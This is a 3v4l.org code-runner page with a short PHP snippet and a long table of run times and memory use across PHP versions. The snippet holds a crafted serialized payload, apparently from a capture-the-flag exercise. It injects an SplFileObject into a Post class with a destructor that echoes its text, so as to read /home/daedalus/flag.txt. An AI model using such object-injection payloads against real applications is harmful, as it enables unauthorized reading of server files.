3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; echo deserialize('O:4:"Post":3:{s:8:"*title";s:19:"huehuehue i repor u";s:7:"*text";O:13:"SplFileObject":12:{s:24:"SplFileObjectdelimiter";s:1:",";s:24:"SplFileObjectenclosure";s:1:""";s:21:"SplFileObjectescape";s:1:"\";s:20:"SplFileObjectflags";N;s:23:"SplFileObjectfilename";s:23:"/home/daedalus/flag.txt";s:25:"SplFileObjectmaxLineLen";i:0;s:29:"SplFileObjectcurrentLineNum";i:0;s:19:"SplFileObjectrsrc";b:0;s:26:"SplFileObjectcurrentLine";b:0;s:21:"SplFileInfofileName";s:23:"/home/daedalus/flag.txt";s:22:"SplFileInfofileClass";s:13:"SplFileObject";s:22:"SplFileInfoinfoClass";N;}s:10:"*filters";a:0:{}}');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00318.31
8.3.50.0190.00321.15
8.3.40.0070.01418.97
8.3.30.0070.00719.04
8.3.20.0070.00020.21
8.3.10.0070.00023.53
8.3.00.0080.00019.25
8.2.180.0170.00316.50
8.2.170.0070.00722.96
8.2.160.0100.00720.43
8.2.150.0070.00024.18
8.2.140.0080.00024.66
8.2.130.0000.00826.16
8.2.120.0080.00022.38
8.2.110.0040.00719.37
8.2.100.0080.00417.50
8.2.90.0040.00419.17
8.2.80.0080.00017.97
8.2.70.0060.00317.50
8.2.60.0000.00817.92
8.2.50.0040.00418.07
8.2.40.0090.00019.88
8.2.30.0040.00418.03
8.2.20.0030.00617.77
8.2.10.0070.00017.97
8.2.00.0040.00417.67
8.1.280.0060.00925.92
8.1.270.0050.00323.80
8.1.260.0000.00826.35
8.1.250.0000.00728.09
8.1.240.0090.00023.92
8.1.230.0030.00917.42
8.1.220.0000.00917.74
8.1.210.0030.00618.77
8.1.200.0050.00517.10
8.1.190.0000.00817.13
8.1.180.0040.00418.10
8.1.170.0040.00418.51
8.1.160.0000.00721.84
8.1.150.0070.00018.72
8.1.140.0050.00317.36
8.1.130.0030.00317.78
8.1.120.0000.00717.36
8.1.110.0030.00517.39
8.1.100.0030.00517.32
8.1.90.0070.00017.36
8.1.80.0020.00517.39
8.1.70.0030.00317.23
8.1.60.0040.00417.46
8.1.50.0080.00017.48
8.1.40.0040.00417.44
8.1.30.0090.00017.65
8.1.20.0040.00417.52
8.1.10.0070.00017.53
8.1.00.0000.00817.45
8.0.300.0050.00218.77
8.0.290.0060.00316.63
8.0.280.0030.00318.41
8.0.270.0000.00717.21
8.0.260.0030.00317.26
8.0.250.0070.00016.86
8.0.240.0070.00017.02
8.0.230.0000.00816.85
8.0.220.0030.00316.79
8.0.210.0030.00316.82
8.0.200.0030.00316.86
8.0.190.0050.00216.98
8.0.180.0000.00717.00
8.0.170.0040.00416.97
8.0.160.0000.00816.85
8.0.150.0030.00516.88
8.0.140.0000.00816.84
8.0.130.0060.00013.27
8.0.120.0070.00016.88
8.0.110.0000.00816.95
8.0.100.0040.00416.71
8.0.90.0040.00416.80
8.0.80.0100.00716.96
8.0.70.0080.00016.91
8.0.60.0000.00716.76
8.0.50.0030.00616.96
8.0.30.0100.01217.03
8.0.20.0150.00317.40
8.0.10.0030.00616.96
8.0.00.0090.01016.60
7.4.330.0050.00015.02
7.4.320.0060.00016.36
7.4.300.0060.00016.64
7.4.290.0070.00016.47
7.4.280.0040.00416.45
7.4.270.0030.00316.59
7.4.260.0070.00016.52
7.4.250.0040.00416.53
7.4.240.0020.00516.58
7.4.230.0040.00316.51
7.4.220.0170.00316.48
7.4.210.0080.00816.59
7.4.200.0000.00816.67
7.4.160.0080.00816.54
7.4.150.0090.00917.40
7.4.140.0150.00717.86
7.4.130.0070.00916.62
7.4.120.0090.01216.43
7.4.110.0130.00316.66
7.4.100.0140.00316.60
7.4.90.0130.00316.57
7.4.80.0090.00919.39
7.4.70.0140.00316.45
7.4.60.0060.00916.45
7.4.50.0000.00816.27
7.4.40.0080.01216.81
7.4.30.0040.01416.43
7.4.00.0100.00714.72
7.3.330.0060.00013.14
7.3.320.0050.00013.18
7.3.310.0030.00316.34
7.3.300.0030.00316.17
7.3.290.0070.01016.36
7.3.280.0090.00916.30
7.3.270.0090.00917.40
7.3.260.0090.00916.54
7.3.250.0090.00816.40
7.3.240.0130.00316.21
7.3.230.0110.00916.39
7.3.210.0060.01216.57
7.3.200.0030.01719.39
7.3.190.0120.00916.30
7.3.180.0090.00716.32
7.3.170.0160.00016.46
7.3.160.0120.00316.50
7.3.120.0110.00714.66
7.3.110.0170.00314.71
7.3.100.0090.00914.91
7.3.90.0000.01514.57
7.3.80.0100.00614.60
7.3.70.0030.01014.90
7.3.60.0030.00714.52
7.3.50.0090.00614.75
7.3.40.0060.00614.29
7.3.30.0080.00614.84
7.3.20.0070.01016.54
7.3.10.0130.00316.31
7.3.00.0070.00516.45
7.2.330.0140.01016.68
7.2.320.0110.00716.62
7.2.310.0030.01316.58
7.2.300.0110.00616.36
7.2.290.0060.01216.65
7.2.250.0000.01714.80
7.2.240.0000.01314.97
7.2.230.0060.00914.92
7.2.220.0030.01014.99
7.2.210.0060.00314.50
7.2.200.0000.01414.77
7.2.190.0070.00714.91
7.2.180.0070.01014.90
7.2.170.0060.00914.56
7.2.160.0090.00614.78
7.2.150.0000.01416.37
7.2.140.0030.01016.49
7.2.130.0160.00516.53
7.2.120.0080.01116.54
7.2.110.0060.01316.56
7.2.100.0080.00816.65
7.2.90.0110.00716.76
7.2.80.0100.00816.70
7.2.70.0100.00816.75
7.2.60.0120.00516.65
7.2.50.0060.01416.75
7.2.40.0120.00516.61
7.2.30.0090.00916.69
7.2.20.0100.00716.45
7.2.10.0080.00816.59
7.2.00.0080.00517.51
7.1.330.0020.01515.47
7.1.320.0040.00715.54
7.1.310.0030.00615.41
7.1.300.0030.01015.49
7.1.290.0070.00715.66
7.1.280.0100.00715.61
7.1.270.0070.00715.43
7.1.260.0060.00815.72
7.1.250.0080.00615.41
7.1.240.0070.01015.76
7.1.230.0070.00715.38
7.1.220.0030.00615.33
7.1.210.0040.01115.62
7.1.200.0060.01015.68
7.1.190.0030.01015.39
7.1.180.0000.01115.56
7.1.170.0070.00715.46
7.1.160.0060.00615.64
7.1.150.0070.00315.36
7.1.140.0100.00715.57
7.1.130.0070.00715.46
7.1.120.0030.01015.65
7.1.110.0040.00415.66
7.1.100.0060.00816.73
7.1.90.0040.01115.70
7.1.80.0030.00615.46
7.1.70.0040.00616.32
7.1.60.0020.01517.35
7.1.50.0160.01125.12
7.1.40.0030.00915.41
7.1.30.0000.01415.67
7.1.20.0060.00615.63
7.1.10.0060.00615.74
7.1.00.0050.04119.00
7.0.330.0030.01215.01
7.0.320.0060.00915.29
7.0.310.0100.00015.09
7.0.300.0060.00615.05
7.0.290.0030.00915.22
7.0.280.0030.01015.16
7.0.270.0090.00315.18
7.0.260.0040.00715.32
7.0.250.0060.00615.41
7.0.240.0090.00415.25
7.0.230.0030.00715.36
7.0.220.0030.00815.20
7.0.210.0080.00815.05
7.0.200.0040.00915.79
7.0.190.0000.01115.19
7.0.180.0100.00715.05
7.0.170.0090.00615.21
7.0.160.0090.00615.39
7.0.150.0030.00715.32
7.0.140.0030.04318.57
7.0.130.0060.00615.08
7.0.120.0000.01215.19
7.0.110.0030.01015.40
7.0.100.0030.00515.36
7.0.90.0000.00915.02
7.0.80.0060.00615.23
7.0.70.0090.03018.50
7.0.60.0080.03918.53
7.0.50.0070.04318.82
7.0.40.0030.04916.73
7.0.30.0020.03416.73
7.0.20.0060.03316.80
7.0.10.0080.03816.66
7.0.00.0120.04216.73
5.6.400.0090.00614.09
5.6.390.0050.00514.10
5.6.380.0080.00413.74
5.6.370.0030.01014.15
5.6.360.0070.00714.17
5.6.350.0030.01014.23
5.6.340.0130.00314.04
5.6.330.0080.00814.05
5.6.320.0000.01314.44
5.6.310.0030.01014.27
5.6.300.0070.00714.04
5.6.290.0050.00513.86
5.6.280.0050.04017.56
5.6.270.0000.01313.93
5.6.260.0060.00613.96
5.6.250.0040.00414.06
5.6.240.0000.00914.31
5.6.230.0080.00414.21
5.6.220.0050.04717.27
5.6.210.0070.04217.32
5.6.200.0060.04817.55
5.6.190.0050.02717.58
5.6.180.0050.04317.61
5.6.170.0080.04417.62
5.6.160.0050.04517.46
5.6.150.0050.03817.65
5.6.140.0020.04617.39
5.6.130.0010.02617.52
5.6.120.0050.03417.60
5.6.110.0050.03517.59
5.6.100.0020.04917.70
5.6.90.0020.04817.49
5.6.80.0060.04417.31
5.6.70.0020.04817.13
5.6.60.0080.03917.04
5.6.50.0110.03817.29
5.6.40.0060.04617.08
5.6.30.0040.04417.22
5.6.20.0020.04817.28
5.6.10.0050.04517.33
5.6.00.0030.04317.13
5.5.380.0070.00314.13
5.5.370.0000.01514.16
5.5.360.0120.04517.03
5.5.350.0020.04717.18
5.5.340.0050.04517.46
5.5.330.0020.04717.45
5.5.320.0020.04717.26
5.5.310.0080.03817.47
5.5.300.0000.04317.39
5.5.290.0050.03517.38
5.5.280.0020.05217.28
5.5.270.0060.03917.51
5.5.260.0080.04317.37
5.5.250.0030.04717.26
5.5.240.0030.04517.20
5.5.230.0060.04317.16
5.5.220.0040.04417.17
5.5.210.0080.04116.98
5.5.200.0070.02717.18
5.5.190.0020.03317.06
5.5.180.0050.04317.01
5.5.170.0060.00913.62
5.5.160.0070.03717.13
5.5.150.0060.03317.15
5.5.140.0050.04316.88
5.5.130.0050.03816.86
5.5.120.0030.04016.83
5.5.110.0030.04516.93
5.5.100.0040.02216.93
5.5.90.0060.02916.81
5.5.80.0080.02117.07
5.5.70.0040.03916.88
5.5.60.0040.04416.79
5.5.50.0030.04317.01
5.5.40.0050.04216.97
5.5.30.0030.04216.97
5.5.20.0030.02416.99
5.5.10.0070.02016.87
5.5.00.0070.03416.95
5.4.450.0050.03015.21
5.4.440.0070.04415.03
5.4.430.0080.03715.22
5.4.420.0050.04115.16
5.4.410.0100.03815.10
5.4.400.0030.02814.83
5.4.390.0030.04214.90
5.4.380.0020.04514.77
5.4.370.0020.04214.75
5.4.360.0020.04314.94
5.4.350.0030.03214.79
5.4.340.0030.03514.92
5.4.330.0090.00610.80
5.4.320.0030.04414.82
5.4.310.0000.03014.95
5.4.300.0030.04315.03
5.4.290.0080.03614.75
5.4.280.0060.03615.10
5.4.270.0050.02515.03
5.4.260.0000.03714.96
5.4.250.0020.04114.80
5.4.240.0060.02014.85
5.4.230.0040.02714.95
5.4.220.0050.02514.88
5.4.210.0020.02714.84
5.4.200.0020.03914.87
5.4.190.0020.04214.75
5.4.180.0070.01715.04
5.4.170.0030.03014.96
5.4.160.0050.04014.81
5.4.150.0020.04114.76
5.4.140.0050.04013.79
5.4.130.0020.04113.45
5.4.120.0090.03313.64
5.4.110.0050.03713.47
5.4.100.0030.04313.57
5.4.90.0030.03113.67
5.4.80.0060.04013.41
5.4.70.0050.03913.64
5.4.60.0070.02213.43
5.4.50.0050.02113.56
5.4.40.0020.03513.58
5.4.30.0030.04313.55
5.4.20.0020.03113.69
5.4.10.0050.03213.59
5.4.00.0040.03513.17
5.3.290.0030.08014.79
5.3.280.0030.07314.74
5.3.270.0030.07714.57
5.3.260.0000.05314.73
5.3.250.0030.06714.75
5.3.240.0000.06014.67
5.3.230.0070.07314.54
5.3.220.0030.07314.52
5.3.210.0000.08314.60
5.3.200.0030.04314.59
5.3.190.0030.07714.66
5.3.180.0000.07714.63
5.3.170.0000.07714.50
5.3.160.0030.07014.68
5.3.150.0070.07314.50
5.3.140.0030.07714.54
5.3.130.0030.07714.48
5.3.120.0030.06014.60
5.3.110.0130.06714.59
5.3.100.0030.07014.18
5.3.90.0000.08014.09
5.3.80.0030.07014.03
5.3.70.0070.07014.17
5.3.60.0000.07714.00
5.3.50.0070.07314.09
5.3.40.0000.06713.87
5.3.30.0030.07313.92
5.3.20.0000.07313.77
5.3.10.0030.06313.59
5.3.00.0000.07313.53
5.2.170.0000.05312.36
5.2.160.0000.04712.36
5.2.150.0000.06012.36
5.2.140.0100.06012.36
5.2.130.0000.06312.36
5.2.120.0030.06012.36
5.2.110.0070.05712.36
5.2.100.0000.04712.36
5.2.90.0030.04312.36
5.2.80.0030.05312.36
5.2.70.0030.06312.36
5.2.60.0000.06712.36
5.2.50.0000.06712.36
5.2.40.0230.04712.36
5.2.30.0000.07012.36
5.2.20.0000.06312.36
5.2.10.0130.05312.36
5.2.00.0000.06012.36
5.1.60.0030.05312.36
5.1.50.0000.06012.36
5.1.40.0070.05012.36
5.1.30.0030.05012.36
5.1.20.0030.05012.36
5.1.10.0030.05312.36
5.1.00.0000.06012.36
5.0.50.0030.04012.36
5.0.40.0070.03712.36
5.0.30.0030.05312.36
5.0.20.0030.04012.36
5.0.10.0070.04012.36
5.0.00.0070.06312.36
4.4.90.0000.04012.36
4.4.80.0070.03012.36
4.4.70.0030.03012.36
4.4.60.0000.03712.36
4.4.50.0030.02712.36
4.4.40.0030.05012.36
4.4.30.0000.03312.36
4.4.20.0000.02712.36
4.4.10.0030.03312.36
4.4.00.0070.05012.36
4.3.110.0000.03712.36
4.3.100.0100.02312.36
4.3.90.0000.02312.36
4.3.80.0070.04712.36
4.3.70.0000.03312.36
4.3.60.0030.03312.36
4.3.50.0000.03712.36
4.3.40.0000.05012.36
4.3.30.0000.03012.36
4.3.20.0030.03712.36
4.3.10.0000.03712.36
4.3.00.0000.04312.36

preferences:
44.29 ms | 401 KiB | 5 Q